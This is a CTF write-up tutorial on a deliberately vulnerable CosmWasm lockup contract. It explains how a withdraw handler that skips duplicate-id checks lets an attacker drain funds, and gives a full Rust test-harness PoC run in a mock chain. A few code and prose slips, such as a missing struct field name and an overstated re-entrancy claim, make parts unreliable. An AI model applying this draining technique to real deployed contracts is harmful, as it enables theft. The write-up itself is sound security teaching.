[Full-Tutorial] Mastering Cosmwasm - Part 01

[Full-Tutorial] Mastering Cosmwasm - Part 01

We are going to go through the first CTF-01 from OakSecurity. The goal of this CTF is to drain all funds from the contract.

Getting Started

First, clone the repo from here. You will need to install Rust on your system, you can follow the installation guide here

You can use Windows or a Linux-based system like Ubuntu or WSL. You might face some bugs on Windows, if that’s the case, just leave a comment below and I will check it out.

The first file we need to go through is the src/msg.rs file. This file contains all the possible messages ( think function calls ) that we can invoke on the contract.

Cosmwasm deals with messages, meaning that to invoke a given function, we need to craft a message that contains the function name and the parameters it needs.

This design provides what is called atomic composition meaning that a contract will have to process all the messages of a given function before execution is handled to a different contract.

This design completely prevents re-entrancy attacks.

Here is what we see when we open the file:

use cosmwasm_schema::{cw_serde, QueryResponses};
use crate::state::Lockup;

#[cw_serde]
pub struct InstantiateMsg {
    pub count: i32,
}
#[cw_serde]
pub enum ExecuteMsg {
    Deposit {},
    Withdraw { ids: Vec<u64> },
}
#[cw_serde]
#[derive(QueryResponses)]
pub enum QueryMsg {
    #[returns(Lockup)]
    GetLockup { id: u64 },
}

We see three main components here:

1 - InstantiateMsg the init message that the contract expects upon deployment. This is a struct that contains one variable count that is of time i32 ( signed 32-bit integer )

2 - ExecuteMsg, an enum that contains the type of messages our contract can receive. You can think of each element as an external function.

  • Deposit, a message to deposit native funds. It doesn’t take any parameters. Think of it as a payable function that takes no parameters.

  • Withdraw a function that takes a vector that holds a number of unsigned 64-bit integers.

3 - QueryMsg Think of these as view functions. Each element in this enum allows us to craft a message to read from the contract. The only message we have here is GetLockUp and it takes an unsigned 64-bit integer.

Now, let’s look at src/state.rs. This file contains the state variables that the contract has

use cosmwasm_schema::cw_serde;
use cosmwasm_std::{Addr, Timestamp, Uint128};
use cw_storage_plus::{Item, Map};

#[cw_serde]
pub struct Lockup {
    /// Unique lockup identifier
    pub id: u64,
    /// Owner address
    pub owner: Addr,
    /// Locked amount
    pub amount: Uint128,
    /// Timestamp when the lockup can be withdrawn
    pub: Timestamp,
}
pub const LAST_ID: Item<u64> = Item::new("lock_id");
pub const LOCKUPS: Map<u64, Lockup> = Map::new("lockups");

Lockup is a struct that contains the following fields:

1 - id, an unsigned 64-bit integer

2 - owner, of type address

3 - amount, a uint128 bit for the amount of locker

4 - release_timestamp, the time for the release. This one is a wrapper around an integer and is provided by Cosmwasm out of the box. You can think of it as a normal integer.

Then we have LAST_ID of type Item, you will see this type a lot, and you can think of it as a counter.

Finally, LOCKUPS This is a map that links an integer to the Lockup struct, this is to link a lock ID to the lock data.

Now, let’s look at the actual contract in src/contract.rs

We first have the instantiate function, which takes the InstantiateMsg struct as a parameter

pub fn instantiate(
    _deps: DepsMut,
    _env: Env,
    _info: MessageInfo,
    _msg: InstantiateMsg,
) -> Result<Response, ContractError> {
    Ok(Response::new().add_attribute("action", "instantiate"))
}

The function just returns a Result type, which is a very common Rust return type. This is an enum with two fields Ok and Err. In our case, it is returned Ok that wraps a Response object.

Response is the most common return value you will see. It is used to emit events (called attributes in Cosmwasm) and also to execute messages that the function might want to return.

For now, our response just broadcasts one attribute with a key = action and value = instantiate

Now let’s look at the next function.

#[cfg_attr(not(feature = "library"), entry_point)]
pub fn execute(
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    msg: ExecuteMsg,
) -> Result<Response, ContractError> {
    match msg {
        ExecuteMsg::Deposit {} => deposit(deps, env, info),
        ExecuteMsg::Withdraw { ids } => withdraw(deps, env, info, ids),
    }
}

The function execute is one that you will see in all of Cosmwasm's smart contracts. And it is one of the entry points to the contract. The other common entry points are the instantiate function and the query function.

You can see if a function is an entry point by having this attribute above its declaration:

#[cfg_attr(not(feature = "library"), entry_point)]

Now, the execute() function does one thing, it receives the msg an object that is sent to the contract, and matches it. Rust’s pattern matching is a powerful tool. You can think of it as a switch statement. When we compare the value at hand, msg, against a set of possible values. Specifically, we compare msg against all the possible values for the ExecuteMsg enum from src/msg.rs

When we find a match, we execute the corresponding function. In our case:

  • When the message sent is Deposit, we execute the function deposit(deps, env, info)

  • When the message sent is Withdraw { ids } we execute withdraw(deps, env, info, ids) while passing in the id parameter to the function.

Now, I will outline each function handler and provide comments on what each statement does.

The Deposit Handler


pub fn deposit(
    deps: DepsMut, 
    env: Env, info: 
    MessageInfo
) -> Result<Response, ContractError> {
    // checks that non-zero amount was paid
    let amount = must_pay(&info, DENOM).unwrap();
    // checks that the amount greater than
    //  the minimum deposit amount
    if amount < MINIMUM_DEPOSIT_AMOUNT {
        return Err(ContractError::Unauthorized {});
    }
    // get the latest Id from storage
    // unwrap_or returns the value stored
    // and if it fails, it returns the `or` value
    // in our case, this is 1.
    let id = LAST_ID.load(deps.storage).unwrap_or(1);
    // we increment the id and save it for the next user
    LAST_ID.save(deps.storage, &(id + 1)).unwrap();

    // create lockup and save the values
    // the release_timestamp  = current_time + lock_period
    let lock = Lockup {
        id,
        owner: info.sender,
        amount,
        release_timestamp: env.block.time.plus_seconds(LOCK_PERIOD),
    };
    // finally, we save our lock
    // note that you NEVER use .unwrap() in your production 
    // contracts, because this will panic and stops the execution
    // in a dangerous way.
    // this is not the flag. But in a production contract
    // this is an issue to raise in the report
    // the correct action here is to use .unwrap_or
    // or .unwrap_or_error, and return an error.
    LOCKUPS.save(deps.storage, id, &lock).unwrap();
    // finally, we emit our events.
    Ok(Response::new()
        .add_attribute("action", "deposit")
        .add_attribute("id", lock.id.to_string())
        .add_attribute("owner", lock.owner)
        .add_attribute("amount", lock.amount)
        .add_attribute("release_timestamp", lock.release_timestamp.to_string()))
}

The Withdraw Handler

pub fn withdraw(
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    ids: Vec<u64>,
) -> Result<Response, ContractError> {
    // we prepare a lockups buffer
    let mut lockups: Vec<Lockup> = vec![];
    // total_amount counter starts at 0
    let mut total_amount = Uint128::zero();

    // ids --> the vector of lockup ids supplied to this function
    // user is repsonsible for that.
    for lockup_id in ids.clone() {
        // we loop over each id in the ids vector and load lockup
        // corrosponding to this Id
        let lockup = LOCKUPS.load(deps.storage, lockup_id).unwrap();
        // we push the lock to the lockups buffer we created 
        // at the start of the function
        lockups.push(lockup);
    }

    // now, we loop over each lockup in the lockups buffer 
    // from the previous step
    for lockup in lockups {   
        // we handle two checks here
        // if the info.sender (caller of this function)
        // is not the owner of the lock, we revert.
        // if the current time is less than the release time
        // we revert.
        if lockup.owner != info.sender || 
        env.block.time < lockup.release_timestamp {
            return Err(ContractError::Unauthorized {});
        }
        // we increment the total_amount counter
        total_amount += lockup.amount;
        // finally, we remove the lock
        LOCKUPS.remove(deps.storage, lockup.id);
    }
    // now, we need to send the funds to the user
    // to do that, we need to craft a BankMsg
    // BankMsg of type Send is used to transfer
    // native currency from one account to the other
    // it takes two paramters:
    // 1 - to_address -> the recipient
    // 2 - amount a vector containg the type Coin
    // which is just a tuple that contains two elements:
    // (denom, amount)
    // The vec! syntax is just a macro to create
    // a vector on the fly.
    let msg = BankMsg::Send {
        to_address: info.sender.to_string(),
        amount: vec![Coin {
            denom: DENOM.to_string(),
            amount: total_amount,
        }],
    };
    // finally, we emit our events.
    // And also we attach our Bank Msg
    // by calling `.add_message` on the Response.
    Ok(Response::new()
        .add_attribute("action", "withdraw")
        .add_attribute("ids", format!("{:?}", ids))
        .add_attribute("total_amount", total_amount)
        .add_message(msg))
}

Now, take a look at the code again and try to think how we can drain all the funds in the contract.

The Exploit

The issue lies in this piece of code :

 pub fn withdraw(
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    ids: Vec<u64>,
) -> Result<Response, ContractError> {
...
for lockup_id in ids.clone() {
        let lockup = LOCKUPS.load(deps.storage, lockup_id).unwrap();
        lockups.push(lockup);
    }
...
}

It does perform any checks on the user-supplied ids vector. Specifically, it does not check for duplicated ids.

This means that a user can pass in a vector containing the same lock multiple times, and it will be withdrawn multiple times when this code is executed:

for lockup in lockups {
        if lockup.owner != info.sender ||
         env.block.time < lockup.release_timestamp {
            return Err(ContractError::Unauthorized {});
        }
        total_amount += lockup.amount;
        LOCKUPS.remove(deps.storage, lockup.id);
    }

The code will fetch the same lock again and again and keep incrementing the total_amount by the lock value.

Note that LOCKUPS.remove(deps.storage, lockup.id); does not fix the issue. Because we are not reading the locks from storage. We are reading from the cached vector of locks we prepared in the previous step.

Now, let's write the PoC. I will provide detailed comments as well, and you can just copy the content of the PoC to src/integration_test.rs and play with it.

#[test]
 fn exploit() {
        // we will use the proper_instantiate() function
        // provided to us by the ctf. This just gives 
        // us an app object to work with and the contract address
        let (mut app, contract_addr) = proper_instantiate();

        // we create an address for our victime
        // we can use the Addr type for that.
        let victime: Addr = Addr::unchecked("user");

        // we craft our deposit message 
        // in Rust, to select an enum variant
        // we just use the enum name with the `::` operator
        let deposit_msg = ExecuteMsg::Deposit {};
        // we need to mint tokens, we do that using the function
        // mint_tokens provided to us by the test suite as well
        app = mint_tokens(app, victime.to_string(), Uint128::new(40_000));
        // now we sent our message to the contract.
        // the execute_contract method takes the following:
        // 1 - the sender address -> victime
        // 2 - the contract address -> contract_addr
        // 3 - the msg to execute -> deposit_msg
        // 4 - the native coins to send -> vec![coin(40_000, DENOM)]
        // we then unwrap it to make sure no errors occured
        // it is fine to use `unwrap()` in testing.
        app.execute_contract(
            victime.clone(),
            contract_addr.clone(),
            &deposit_msg,
            &vec![coin(40_000, DENOM)],
        )
        .unwrap();

        // we query the user balance by sending a query message
        // the return is of type `Lockup` which is just
        // the lockup struct
        // to query the contract, we use `query_wasm_smart()`
        // which takes a contract address and the query msg to send
        // @note that id = 2 because the `proper_instantiate()` function
        // already did a deposit earlier at id = 1
        let msg = QueryMsg::GetLockup { id: 2 };
        let lockup: Lockup = app
            .wrap()
            .query_wasm_smart(contract_addr.clone(), &msg)
            .unwrap();
        // we assert that the owner is the vitcime
        assert_eq!(lockup.owner, victime.clone());

         // --------- Attacker Sequence Starts ---------- ///

        //  now we do the same flow for the attacker
        let attacker: Addr = Addr::unchecked("attacker");
        app = mint_tokens(app, attacker.to_string(), Uint128::new(20_000));
        let deposit_msg = ExecuteMsg::Deposit {};
        app.execute_contract(
            attacker.clone(),
            contract_addr.clone(),
            &deposit_msg,
            &vec![coin(20_000, DENOM)],
        )
        .unwrap();
        // we query the lock
        let new_msg = QueryMsg::GetLockup { id: 3 };
        let lockup: Lockup = app
            .wrap()
            .query_wasm_smart(contract_addr.clone(), &new_msg)
            .unwrap();
        // make sure its attacker
        assert_eq!(lockup.owner, attacker.clone());

        // -------------- The Exploit ------------------ ///
        // we craft a withdraw message.
        // remeber that it takes a vector of ids and does not
        // check for duplicates. In this case, we will send
        // the id of our lockup (3) multiple times.
        // I was too lazy to calculate how much we can withdraw
        // so I figured it out by trial and error.
        let withdraw_msg = ExecuteMsg::Withdraw {
            ids: vec![3, 3, 3, 3, 3, 3, 3, 3],
        };
        // we fast forward to the lock release time.
        app.update_block(|block| {
            block.time = block.time.plus_seconds(LOCK_PERIOD);
        });

        // now we execute our attack
        app.execute_contract(
            attacker.clone(),
            contract_addr.clone(),
            &withdraw_msg,
            &vec![],
        )
        .unwrap();
        // let's check the attacker's balance
        let attacker_balance = app.wrap().query_balance(attacker, DENOM)
        .unwrap()
        .amount;
        // EUREKA! We drained the contract!
        assert_eq!(attacker_balance,Uint128::new(160000));
    }

Phew...That's it!

To test the exploit, you can run cargo test exploit . Or you can just press the Run Test button that appears under the #[test] header.

Let me know if you have any questions in the comments!